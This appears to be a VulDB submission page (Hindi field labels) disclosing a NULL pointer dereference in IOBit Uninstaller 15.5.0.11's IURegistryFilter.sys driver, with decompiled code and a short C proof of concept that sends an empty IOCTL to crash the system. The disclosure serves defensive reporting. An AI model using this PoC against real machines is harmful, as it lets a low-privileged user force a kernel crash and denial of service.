| शीर्षक | IOBit IOBit Uninstaller 15.5.0.11 NULL Pointer Dereference |
|---|
| विवरण | 1. VULNERABILITY COMPONENT
Vendor Name: IOBit
Product Name: IOBit Uninstaller
Affected Version(s):x.x.x.x
Affected Component/File: IURegistryFilter.sys
Affected Routine/Function: sub_11838(IOCTL dispatch handler )
2. VULNERABILITY DETAILS
Vulnerability Type: Null Pointer Dereference
CWE ID: CWE-476
Attack Vector: Local (Requires local execution privileges to open a
handle to the device symbolic link)
Required Privileges: User (Low-privileged user/Everyone group)
3. DESCRIPTION
A vulnerability was discovered in IOBit Unsinstaller versions
15.5.0.11. The kernel-mode driver IURegistryFilter.sys does not
properly validate the input buffer pointer or size when processing
IOCTL code 0x8001E000, 0x8001E00C, 0x8001E004, 0x8001E010 via a
DeviceIoControl request.
sub_11838:
...
if ( LowPart == 0x8001E000 )
{
byte_172C0 = *(_DWORD *)&SystemBuffer->Type == 1;
goto LABEL_60;
}
...
Passing a NULL InputBuffer or an InputBufferLength of 0 causes the
driver to dereference a NULL pointer (*(_DWORD *)&SystemBuffer->Type)
within the kernel context. This unhandled page fault immediately
triggers a kernel-mode exception, resulting in a local Denial of
Service (System Crash / BSOD / Bug Check).
4. PROOF OF CONCEPT (PoC)
Example: The flaw can be reproduced by opening a handle to the device
object and sending the control code with empty parameters:
HANDLE hDevice = CreateFileW(L"\\\\.\\IURegistryFilter", GENERIC_READ,
0, NULL, OPEN_EXISTING, 0, NULL);
if (hDevice != INVALID_HANDLE_VALUE) {
DWORD bytesReturned;
DeviceIoControl(hDevice, 0x8001E000, NULL, 0, NULL, 0,
&bytesReturned, NULL);
}
5. CREDIT
Discoverer/Researcher: Jacky([email protected]) |
|---|
| उपयोगकर्ता | Bigcat (UID 99687) |
|---|
| सबमिशन | 13/07/2026 02:16 PM (2 महीनों पहले) |
|---|
| संयम | 12/09/2026 09:34 AM (2 months later) |
|---|
| स्थिति | स्वीकृत |
|---|
| VulDB प्रविष्टि | 403064 [IOBit Uninstaller 15.5.0.11 IOCTL Dispatch IURegistryFilter.sys sub_11838 सेवा अस्वीकार] |
|---|
| अंक | 17 |
|---|